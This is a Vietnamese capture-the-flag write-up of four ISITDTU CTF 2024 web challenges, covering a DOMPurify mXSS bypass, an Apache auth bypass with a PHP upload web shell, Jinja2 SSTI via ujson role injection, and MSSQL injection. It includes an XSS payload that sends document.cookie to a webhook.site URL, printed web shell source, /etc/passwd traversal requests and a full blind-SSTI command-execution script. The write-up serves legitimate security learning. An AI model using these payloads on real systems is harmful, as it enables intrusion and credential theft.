---
# System prepended metadata

title: ISITDTU CTF 2024
tags: [SSTI, PHP-FPM, PHP, XSS, SQLi, JWT, Recon, LFI, Apache Misconfig]

---

 # ISITDTU CTF 2024

## X ét ét
Đây là một challenge XSS có sử dụng dompurify 3.1.6 làm filter ngăn chặn XSS.

Vì challenge sử dụng dompurify 3.1.6 và đây là một challenge XSS nên có thể tại phiên bản 3.1.6 có sẽ có bug và được fix tại phiên bản sau đó 3.1.7.
https://github.com/cure53/DOMPurify/releases/tag/3.1.7
![image](https://hackmd.io/_uploads/HkAXn2igke.png)
Để ý dòng 1 và 5, phiên bản đã fix lại comment detection, việc bypass với một số config đặc biệt và foreignObject element. Vì vậy có thể tận dụng những thứ này để bypass XSS đối với phiên bản 3.1.6

Search một hồi em tìm được PoC sau của [@masatokinugawa](https://github.com/masatokinugawa)
https://masatokinugawa.github.io/xss/dompurify_3.1.6_foreignObject_bypass.html

Sau khi được hint thì em thấy vector sử dụng để bypass filter XSS tại challenge này là mXSS. Đây là vector XSS tận dụng việc tự động sửa lỗi trong quá trình parse HTML với các tag HTML không hợp lệ (tham khảo quá trình sửa lỗi khi parse HTML tại [đây](https://scientyficworld.org/what-does-html-parsing-mean/)).Cụ thể quá việc handle lỗi trong quá trình parse HTML sẽ cố gắng khôi phục lại các HTML tag bị sai syntax.Ví dụ:
![image](https://hackmd.io/_uploads/H1e8Bajxyg.png)
![image](https://hackmd.io/_uploads/HybPr6jl1x.png)
Ở ví dụ trên, thẻ h1 đã bị lỗi nhưng qua quá trình handle lỗi khi parse HTML của trình duyệt thì lại trở thành một thẻ h1 hoàn thiện.
Vì vậy em có thể tạo ra các tag HTML bị lỗi để bypass được filter và tận dụng quá trình sửa lỗi trên để parse HTML trên trình duyệt một cách hợp lệ. Chi tiết về mXSS xem tại [đây](https://www.sonarsource.com/blog/mxss-the-vulnerability-hiding-in-your-code/).

Bằng việc tận dụng kĩ thuật này em có thể bypass được filter của dompurify 3.1.6
![image](https://hackmd.io/_uploads/SkvvQTilye.png)
![image](https://hackmd.io/_uploads/ryDYXpsekl.png)



Payload:
```
<svg><a><foreignobject><a><table><a></table><style><!--</style></svg><a id="-><img src onerror=fetch('https://webhook.site/9304ff65-b2f9-4e4b-8eb9-58edf4866d8f' + document.cookie)>">.
```

![image](https://hackmd.io/_uploads/BJj_5nie1e.png)

**FLAG: ISITDTU{d364c13b91d3bd0ecb3ffed49b229fc06b1208e8}**

## s1mple
### Phân tích
Check thử https://hub.docker.com/u/servertest2008 thì em thấy được có 2 repo:
![image](https://hackmd.io/_uploads/r1kateRxke.png)
Hướng ở đây là xem 2 repo này có gì khác nhau không để tìm ra hướng exploit.
Sau khi build challenge qua Docker thì em nhận thấy một điều là challenge dùng Apache/2.4.18 và mod [dump_io](https://httpd.apache.org/docs/2.4/mod/mod_dumpio.html), mod [rewrite](https://httpd.apache.org/docs/2.4/mod/mod_rewrite.html), mod [proxy](https://httpd.apache.org/docs/2.4/mod/mod_proxy.html).
![image](https://hackmd.io/_uploads/B1dtilCgJl.png)
```
root@b3d2eb89c100:~# ls /etc/apache2/mods-enabled/
access_compat.load  authn_core.load  authz_user.load  deflate.load  env.load     mpm_event.conf    proxy.conf       setenvif.conf
alias.conf          authn_file.load  autoindex.conf   dir.conf      filter.load  mpm_event.load    proxy.load       setenvif.load
alias.load          authz_core.load  autoindex.load   dir.load      mime.conf    negotiation.conf  proxy_fcgi.load  status.conf
auth_basic.load     authz_host.load  deflate.conf     dump_io.load  mime.load    negotiation.load  rewrite.load     status.load
root@b3d2eb89c100:~# apache2 -v
Server version: Apache/2.4.18 (Ubuntu)
Server built:   2020-08-12T21:35:50
```
Về mod_dumpio, đây là một mod cho phép logging toàn bộ input nhận được bởi Apache và toàn bộ output được gửi bởi Apache vào error.log. Để kích hoạt mod này, nó phải được compile và load vào Apache config. Ngoài ra, mod_dumpio cần đucợ config tới LogLevel trace7.
![image](https://hackmd.io/_uploads/S1uD2-AeJg.png)
Kiểm tra nào:
```
root@b3d2eb89c100:/etc/apache2# cat apache2.conf
# This is the main Apache server configuration file.  It contains the
# configuration directives that give the server its instructions.
# See http://httpd.apache.org/docs/2.4/ for detailed information about
# the directives and /usr/share/doc/apache2/README.Debian about Debian specific
....
LogLevel dumpio:trace7
DumpIOInput On
DumpIOOutput On
```
Check thử xem log có bị xóa hay không?
```
root@b3d2eb89c100:/var/log/apache2# ls
access.log  access_php.log  error.log  error_php.log  other_vhosts_access.log
```
Author không hề xóa log, điều này có thể giúp ích trong việc exploit.

Ngoài ra phiên bản php sử dụng cho challenge là PHP 7.0.33
```
root@b3d2eb89c100:/etc/apache2# php -v
PHP 7.0.33-0ubuntu0.16.04.16 (cli) ( NTS )
Copyright (c) 1997-2017 The PHP Group
Zend Engine v3.0.0, Copyright (c) 1998-2017 Zend Technologies
    with Zend OPcache v7.0.33-0ubuntu0.16.04.16, Copyright (c) 1999-2017, by Zend Technologies
```
Và cho phép .htaccess tại document root:
```
root@b3d2eb89c100:/etc/apache2/sites-available# cat 000-default.conf 
<VirtualHost *:80>
    DocumentRoot /var/www/html/src

    <FilesMatch "\.php$">
        SetHandler  "proxy:unix:/run/php/php7.0-fpm.sock|fcgi://localhost/"
    </FilesMatch>

    <Proxy "fcgi://localhost/" enablereuse=on max=10>
    </Proxy>

    <Directory /var/www/html/src/>
        Options FollowSymLinks
        AllowOverride All
    </Directory>


    RewriteEngine On
    RewriteRule  ^/website-(.*).doc$   /$1.html

    RewriteCond %{REQUEST_METHOD} OPTIONS
    RewriteRule ^(.*)$ $1 [R=200,L]

    ErrorLog ${APACHE_LOG_DIR}/error_php.log
    CustomLog ${APACHE_LOG_DIR}/access_php.log combined

</VirtualHost>
```
Bắt đầu tìm kiếm trong source code, em tìm thấy 1 file **.htaccess**
```
<Files "admin.php">
    AuthType Basic 
    AuthName "Admin"
    AuthUserFile "/.htpasswd"
    Require valid-user
</Files>

<Files "adminer.php">
    AuthType Basic 
    AuthName "Admin"
    AuthUserFile "/.htpasswd"
    Require valid-user
</Files>

<Files "xmlrpc.php">
    AuthType Basic 
    AuthName "Admin"
    AuthUserFile "/.htpasswd"
    Require valid-user
</Files>

<Files .env>
    Order allow,deny
    Deny from all
</Files>
```
File này được tạo bởi root yêu cầu người dùng xác thực khi truy cập tới admin.php, adminer.php, xmlrpc.php, tham khảo thêm tại [đây](https://www.digitalocean.com/community/tutorials/how-to-set-up-password-authentication-with-apache-on-ubuntu-14-04). Thông tin xác thực nằm trong AuthUserFile là /.htpasswd. Đây cũng là file chứa flag.

Đọc source code file admin.php:
```
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Admin Page</title>
</head>
<body>
    <h1>Welcome to the Admin Page</h1>

<?php 
error_reporting(0);

if (isset($_GET['pages']) && !empty($_GET['pages']))
{
	$page = "./pages/" . $_GET['pages'] . ".html";
	include($page);
}
else
{
	echo '<a href="?pages=1"> Link </a>';
}
?>
</body>
</html>
```
File này có hàm include() -> Hướng tới vector LFI.
```
$page = "./pages/" . $_GET['pages'] . ".html";
```

Nhìn vào biến page, hướng đầu tiên em nghĩ là dùng null-byte(%00) hay path truncation tuy nhiên những phương pháp này đã không còn sử dụng được từ bản 5.X.X(không nhớ nữa @@).

Tới đây thì stuck... Em có đang bỏ xót điều gì không ta? Không biết author có để lại gì không?

Thử xem trong thư mục /root:![image](https://hackmd.io/_uploads/Hy0ugQRlJx.png)

Có vẻ author đã cố tình không xóa .bash_history để làm hint. Vào đọc .bash_history xem có gì:

```
vi /etc/apache2/.htpasswd
nano /etc/apache2/.htpasswd
rm /etc/apache2/.htpasswd
cd
git clone https://github.com/anouarbensaad/vulnx.git
apt install python3-pip
apt update
apt install python3 python3-pip
ls
cd vulnx/
ls
pip3 install -r requirements.txt
./install.sh 
bash install.sh 
apt install sudo
./install.sh 
vi install.sh 
nano install.sh 
./install.sh 
cd /usr/share/vulnx/
ls
cat install.sh 
nano install.sh 
ls
cd 
ls
rm -rf vulnx/
cd /usr/share/vulnx/
ls
cd shell/
ls
mkdir cat VulnX.php
ls
mkdir uploads
chmod 777 uploads/
ls -la
rm -r uploads/
mkdir uploads
cd uploads/
l
ls
touch shell.php
chmod 777 shell.php 
ls -la
ls
cd ..
ls
vi VulnX.php
nano VulnX.php
ls
cat uploads/shell.php 
ls
nano uploads/
nano uploads/shell.php 
nano VulnX.gif 
nano VulnX.html 
nano VulnX.php.mp4 
nano VulnX.php.png 
ls cat/
file
nano VulnX.zip 
ls
ls -la
cd uploads/
ls -la
ls
ls -la
cat shell.php 
ls -la shell.php 
nanno shell.php 
nano shell.php 
ls
nano shell.php 
cd
ls
cd /var/www/html/
ls
vi src/.htaccess 
nano src/.htaccess 
ls /etc/apache2/.htpasswd
exit
cat /usr/share/vulnx/shell/uploads/shell.php 
cat /usr/share/vulnx/shell/uploads/shell.php
cat /.flag 
cd /var/www/html/
ls
cd src/
ls
vi admin.php 
apt intall vim
apt install vim
ls
vi admin.php 
cat admin.php 
ls
cd /usr/share/vulnx/
ls
cd shell/
ls
cd uploads/
ls
mv shell.php shell.html
ls -la
cd ..
ls
ps aux
cd
ls
cd /var/www/html/
ls
cd src/
ls
cat admin.php 
cat .htaccess 
cat /root/.htpasswd
vi .htaccess 
ls /usr/share/vulnx/shell/uploads/shell.html 
ls -la /usr/share/vulnx/shell/uploads/shell.html 
cat /usr/share/vulnx/shell/VulnX.php
....
cat /usr/share/vulnx/shell/VulnX.php
ls /usr/share/vulnx/shell/VulnX.php
ls /usr/share/vulnx/shell/uploads/
cat /usr/share/vulnx/shell/uploads/shell.html 
cd
ls
ks
ls
ls -la /
cat /.flag 
rm /.flag 
ls
ls -la .htpasswd
cat /.htpasswd
ls
ls -la
cat .htpasswd 
rm .htpasswd 
ls
cd /
ls
ls -la /
cat start.sh 
exit
ls
cd /var/www/html/
ls
cd src/
ls
cat /etc/apache2/sites-available/000-default.conf 
ls
vi about.html
ls
cat index.php 
mv index.php index.html
vi index.html 
ls
vi index.html 
vi contact.html
exit
cat /.htpasswd 
sudo a2enmod dumpio 
a2enmod dumpio
a2enmod dump_io
vi /etc/apache2/apache2.conf
sudo systemctl restart apache2 
service apache2 restart
cat /var/log/apache2/error.log 
cat /var/log/apache2/access_php.log 
cat /var/log/apache2/access.log 
cat /var/log/apache2/error_php.log 
exit

```

Để ý thấy author có vẻ đã clone repo https://github.com/anouarbensaad/vulnx và nhận thấy trong repo này có một số file khả nghi
![image](https://hackmd.io/_uploads/Sy-6ZmRlkl.png)
Nó lại rất giống với một số file sau trong **.bash_history**:
```
ls /usr/share/vulnx/shell/uploads/shell.html 
ls -la /usr/share/vulnx/shell/uploads/shell.html 
cat /usr/share/vulnx/shell/VulnX.php
```
Vào xem **/usr/share/vulnx/shell**:
```
root@b3d2eb89c100:/usr/share/vulnx/shell# ls
VulnX.gif  VulnX.html  VulnX.php  VulnX.php.mp4  VulnX.php.png  VulnX.txt  VulnX.zip  __init__.py  cat  uploads
```
Đây là các file clone từ repo github trên thì nhận thấy file VulnX.php có chứa một đoạn PHP như sau:
```
<html>
</html>

<?php

error_reporting(0);
set_time_limit(0);

if($_GET['Vuln']=="X"){
echo "<center><b>Uname:".php_uname()."<br></b>"; 
echo '<font color="black" size="4">';
if(isset($_POST['Submit'])){
    $filedir = "uploads/"; 
    $maxfile = '2000000';
    $mode = '0644';
    $userfile_name = $_FILES['image']['name'];
    $userfile_tmp = $_FILES['image']['tmp_name'];
    if(isset($_FILES['image']['name'])) {
        $qx = $filedir.$userfile_name;
        @move_uploaded_file($userfile_tmp, $qx);
        @chmod ($qx, octdec($mode));
echo" <a href=$userfile_name><center><b>Uploaded Success ==> $userfile_name</b></center></a>";
}
}
else{
echo'<form method="POST" action="#" enctype="multipart/form-data"><input type="file" name="image"><br><input type="Submit" name="Submit" value="Upload"></form>';
}
echo '</center></font>';

}
?>
```
Oh, tại đây em tìm thêm được 1 vector khác là File upload Vuln -> RCE.
Để ý quay lại log file, có hai điểm mấu chốt cần để ý:
1. Manh mối cho việc bypass auth:
```
172.17.0.1 - - [29/Aug/2024:08:07:09 +0000] "GET /admin.php%3fa.php?pages=/etc/passwd%00 HTTP/1.1" 200 514 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36"
172.17.0.1 - - [29/Aug/2024:08:07:28 +0000] "GET /admin.php%3fa.php?pages=../../../../../../../../../etc/passwd%00 HTTP/1.1" 200 520 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36"
```
> admin.php%3fa.php?pages= .... (tại sao lại là admin.php%3fa.php)
2. Manh mối cho sử dụng vector file upload vuln:
```
172.17.0.1 - - [05/Sep/2024:04:00:14 +0000] "GET /website-/usr/share/vulnx/shell/VulnX.php%3f.doc&Vuln=X&a HTTP/1.1" 404 490 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36"
172.17.0.1 - - [05/Sep/2024:04:00:29 +0000] "GET /website-/usr/share/vulnx/shell/VulnX.php%3f.doc?Vuln=X&a HTTP/1.1" 200 284 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36"
172.17.0.1 - - [05/Sep/2024:04:00:41 +0000] "GET /website-/usr/share/vulnx/shell/VulnX.php%3fVuln=X&a.doc HTTP/1.1" 200 503 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36"
172.17.0.1 - - [05/Sep/2024:04:00:56 +0000] "POST /website-/usr/share/vulnx/shell/VulnX.php%3fVuln=X&a.doc HTTP/1.1" 200 462 "http://127.0.0.1:8888/website-/usr/share/vulnx/shell/VulnX.php%3fVuln=X&a.doc" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36"
```
> Ủa? Không tận dụng LFI nhưng tại sao author vẫn có thể access được tới /usr/share/vulnx/shell/VulnX.php? /website- : nó là gì vậy ?

Trả lời được những câu hỏi này challenge sẽ được giải quyết thành công.

### Exploit
Phân tích rất nhiều và giờ là bước exploit.
1. Trước tiên giải quyết vấn đề đầu tiên là bypass được auth:
Thử search keyword như Apache/2.4.18 vulnerability
![image](https://hackmd.io/_uploads/ByM3PVCgke.png)
Để ý thấy "mod_rewrite" có khả năng liên quan đến case hiện tại vì khi đọc config cũng thấy các rewrite rule xuất hiện. Thử search tiếp keyword CVE-2024-39573 analyst:
![image](https://hackmd.io/_uploads/HJdsONCe1g.png)
Ở đây, em thấy một bài blog có liên quan đến CVE này. Để ý đoạn  ***Primitive 1-2. ACL Bypass***
Vuln xuất hiện do sự không nhất quán trong cách xử lý **r->filename** giữa các module của Apache. Cụ thể, **mod_proxy** coi **r->filename** là một URL, điều này hợp lý vì chức năng chính của proxy là "forward" request tới các URL khác. Tuy nhiên, vấn đề xảy ra khi các module khác mặc định coi **r->filename** là một đường dẫn tới hệ thống tập tin (filesystem path).Cấu hình này có thể bypass trong default setting của PHP-FPM! Đây cũng là cách phổ biến để cấu hình xác thực trên Apache HTTP Server. Đọc chi tiết tại [đây](https://devco.re/blog/2024/08/09/confusion-attacks-exploiting-hidden-semantic-ambiguity-in-apache-http-server-en/).
Dựa trên bài viết trên em có thể bypass auth như sau:
![image](https://hackmd.io/_uploads/S1lDaNRx1x.png)

2. Access file bất kì dựa trên việc lợi dụng Rewrite Rule
Khi đọc config ở /etc/apache2/sites-available/000-default.conf em nhận được một Rule sau:
![image](https://hackmd.io/_uploads/r1kZC4Clkx.png)
Phân tích đoạn regex: mở đầu bằng **/website-** sau đó là một chuỗi bất kì tương ứng với $1 và **.doc** sẽ được rewrite thành /$1.html. Điều này có nghĩa em có thể access tới **/usr/share/vulnx/shell/VulnX.php** bằng **/website-/usr/share/vulnx/shell/VulnX.php%3fVuln=X&a.doc** sẽ được rewrite thành **/usr/share/vulnx/shell/VulnX.php%3fVuln=X&a.html**
![image](https://hackmd.io/_uploads/r13vbHAxkx.png)
Nice!!!
Giờ thì upload file và RCE(qua include()):
![image](https://hackmd.io/_uploads/rkH6GSCx1e.png)
![image](https://hackmd.io/_uploads/H11wmHRlye.png)

## Another one
Đây là một bài whitebox viết bằng Flask(Python) và database SQLite3.

Flask app này gồm 3 chức năng khá cơ bản là đăng kí, đăng nhập, render template.

Check qua một lượt thì ứng dụng dùng template Jinja2 (đây là một template mặc định của Flask) 

Đọc qua một lượt source code, nhận thấy ở route /render:
```
@app.route('/render', methods=['POST'])
def dynamic_template():
    token = request.cookies.get('jwt_token')
    if token:
        try:
            decoded = jwt.decode(token, app.config['SECRET_KEY'], algorithms=['HS256'])
            role = decoded.get('role')

            if role != "admin":
                return jsonify(message="Admin only"), 403

            data = request.get_json()
            template = data.get("template")
            rendered_template = render_template_string(template)
            
            return jsonify(message="Done")

        except jwt.ExpiredSignatureError:
            return jsonify(message="Token has expired."), 401
        except jwt.InvalidTokenError:
            return jsonify(message="Invalid JWT."), 401
        except Exception as e:
            return jsonify(message=str(e)), 500
    else:
        return jsonify(message="Where is your token?"), 401
```
Tại route này, có sự xuất hiện của render_template_string(), đây là một sink thường thấy trong SSTI với [Jinja2](https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection/jinja2-ssti#lab). Tuy nhiên, để thực hiện SSTI thì phải bypass được điều kiện role là admin.
![image](https://hackmd.io/_uploads/S1OS10x-yg.png)
Tại đây có một thứ rất đang nghi. Tại sao lại có đoạn xử lí data này?
![image](https://hackmd.io/_uploads/ry4a7l--Jg.png)
Mặt khác, chức năng đăng kí lại có thể chỉnh sửa trường `role`.
![image](https://hackmd.io/_uploads/SyVQuxZZye.png)
Search google với keyword `ujson vuln` ![image](https://hackmd.io/_uploads/S1x6OebWye.png)
https://security.snyk.io/vuln/SNYK-PYTHON-UJSON-2942122
![image](https://hackmd.io/_uploads/Skd8YxZZye.png)
Dựa vào điều này, em có thể tạo được 1 user với role là admin để có thể thực hiện render template.
![image](https://hackmd.io/_uploads/HJBPilbWyg.png)
Exploit script của em:
```
import requests
import sys
import time

BASE_URL = "http://localhost:8082"
username = "thanh"
password = "thanh"
charset = "abcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*(){}QWERTYUIOPASDFGHJKLZXCVBNM"
session = requests.session()

def login(username, password):
    login_url = f"{BASE_URL}/login"
    response = requests.post(login_url, json={"username": username, "password": password})
    if response.status_code == 200:
        return response.json().get("message")
    return None

def extract_flag(cookie):
    flag = ""
    for i in range(1, 40):
        for char in charset:
            render_url = f"{BASE_URL}/render"
            cookies = {"jwt_token": cookie}
            json = {
                "template": f"{{{{ cycler.__init__.__globals__.os.popen('result=$(cat /app/* |grep \"ISITDTU\"); [[ \"${{result:{i-1}:1}}\" == \"{char}\" ]] && sleep 5').read() }}}}"
            }

            try:
                start_time = time.time()
                response = requests.post(render_url, cookies=cookies, json=json)
                elapsed_time = time.time() - start_time

                if elapsed_time > 5:
                    flag += char
                    sys.stdout.write('\r' + flag)
                    sys.stdout.flush()
                    break
                else:
                    sys.stdout.write('\r' + flag + char)
                    sys.stdout.flush()
            except requests.RequestException as e:
                print(f"\nRequest failed: {e}")
                sys.exit(1)

    print("\nFlag extraction complete:", flag)
    return flag

cookie = login(username, password)
if cookie:
    print("Login successful. Cookie:", cookie)
    flag = extract_flag(cookie)
else:
    print("Login failed. Check credentials.")

```

## Hero
Đây là một challenge blackbox. Cũng như các web app cơ bản với 2 chức năng đăng kí và đăng nhập.
![image](https://hackmd.io/_uploads/rylD9PRgyx.png)
Đăng kí đăng nhập với credential nothing:nothing
Sau khi đăng nhập thành công, trang web cung cấp em 3 route là /heroes, /old-heroes, /genz
Tới đây, em dirsearch để tránh bị thiếu các route vì đây là bài blackbox nhưng không thu được gì thêm.
Ở route /genz có tham số id có vẻ như đây đơn giản là chức năng hiển thị tác giả qua với tham số id.
![image](https://hackmd.io/_uploads/S1MshP0gJe.png)
Định hướng của em ban đầu đối với tham số này là id. Tuy nhiên thử fuzzing một hồi cũng như dùng cả SQLmap vào đây cũng không có phát hiện gì.
Chuyển sang route /heroes, tại đây e cũng fuzzing các tham số bằng bộ wordlist https://github.com/whiteknight7/wordlist/blob/main/fuzz-lfi-params-list.txt với hi vọng nếu ra được tham số gì đó có giá trị thì sẽ có thể hình thành được các vector như SQL injection, LFI/path traversal hay IDOR nhưng vẫn không thu được gì.
Chỉ còn lại route /old-heroes, em lại tiếp tục thử fuzzing tham số và lần này em nhận được tham số là `name`
![image](https://hackmd.io/_uploads/BkueY_Rl1l.png)
Hơn nữa ở đây em thu được một response có vẻ khá hữu ích:
![image](https://hackmd.io/_uploads/S1BROtRxke.png)
Em nghi ngờ liệu payload có được nối vào một thứ gì không? Dấu hiệu của một lỗ hổng SQLi? Hơn nữa nhìn syntax có kiểu `OldHeroDB..` thì có thể đoán database challenge dùng là MSSQL. Tuy nhiên phần schema không được chỉ định nên dùng `..` tự hiểu là dùng schema `dbo`.
![image](https://hackmd.io/_uploads/H12TxJkb1e.png)
![image](https://hackmd.io/_uploads/BkRmYKAlye.png)
Và có vẻ là SQLi thật. Có một điểm rất em thấy cần lưu ý của bài này là mỗi lần thay đổi với một payload khác nhau lại gây ra lỗi ở vị trí khác nhau. => Payload không chỉ được inject tại một vị trí trong câu truy vấn?
![image](https://hackmd.io/_uploads/BkdjYYCgkx.png)
![image](https://hackmd.io/_uploads/BJW4qYAlJe.png)
![image](https://hackmd.io/_uploads/rylnv5KCe1x.png)
![image](https://hackmd.io/_uploads/Syh9cKAlyg.png)
![image](https://hackmd.io/_uploads/S1Oh9F0gJl.png)
![image](https://hackmd.io/_uploads/r1kfjtAlkl.png)
![image](https://hackmd.io/_uploads/SJ-2pRAgyg.png)
Sau quan sát thì có vẻ truy vấn sẽ có dạng:
```
OldHeroDB..payload.* FROM OldHeroDB..payload WHERE OldHeroDB..payload.Id = 1
```
Đến đây, em có thử sử dụng stacked queries nhưng nó không khả dụng.
![image](https://hackmd.io/_uploads/ryiT2RRg1x.png)
Tiếp tục thử thêm một số cách khác(tìm cách để subquery, cheatsheet này nọ luôn) để tìm kiếm điều gì đó nhưng em vẫn stuck.
![image](https://hackmd.io/_uploads/S10BXJ1W1g.png)
![image](https://hackmd.io/_uploads/HJg5HkyW1e.png)
Tại sao có làm bất kì điều gì thì cũng đẩy ra lỗi nhỉ? Và em được cho một blog https://cyku.tw/no-database-mssql-injection/.
Sau khi đọc blog, em nhận ra một điều, không có database nào tên là OldHeroDB cả, đây cũng là lí do em có làm bất cứ điều gì thì truy vấn cũng đẩy ra lỗi.
Và rồi cũng giống như case mà tác giả blog nói `OldHeroDB..payload` thực ra lại có format là `<table_name>.<column_name>.<something>` chứ không phải theo format `<database_name>.<schema_name>.<column_name>` như em đã nghĩ. Chứng minh cho điều này:
![image](https://hackmd.io/_uploads/SyB1GAy-1e.png)
![image](https://hackmd.io/_uploads/Sy2NrIlbyx.png)
MSSQL sẽ cắt bỏ những khoảng trắng khi mà xử lí tên cột. Dựa vào điều này, em có thể tạo một tên cột với tên là một chuỗi rỗng. Ý tưởng sẽ thực hiện một truy vấn có dạng:
```
SELECT <tên_bảng>..<something> from (SELECT <something> as [  ]) as <tên bảng>-- -
```
Và tên bảng thì chính là bảng ở đây chắc là OldHeroDB rồi, nhưng chọn cái gì làm `something`? Câu trả lời này đã được tác giả của blog trên trả lời luôn. Đó là dùng một đối tượng geometry và SELECT đến property của đối tượng này chính là STX hoặc STY.
![image](https://hackmd.io/_uploads/BJf__8e-1x.png)
![image](https://hackmd.io/_uploads/HJlvtUlW1x.png)
![image](https://hackmd.io/_uploads/Byvuq8lb1l.png)
![image](https://hackmd.io/_uploads/r1ftq8gWke.png)
![image](https://hackmd.io/_uploads/ByZc98gWkl.png)
Tiếp tục thử, em nhận được bảng với 3 cột là id, hero_name và hero_power. Tới đây thì dùng UNION là xong.
![image](https://hackmd.io/_uploads/rJtsi8xZJl.png)
![image](https://hackmd.io/_uploads/Bywg3IlZkl.png)
![image](https://hackmd.io/_uploads/HJIwhUe-yl.png)

FLAG: `ISITDTU{R3g4in_m0t1vation_w1th_s1mpl3_SQL1}`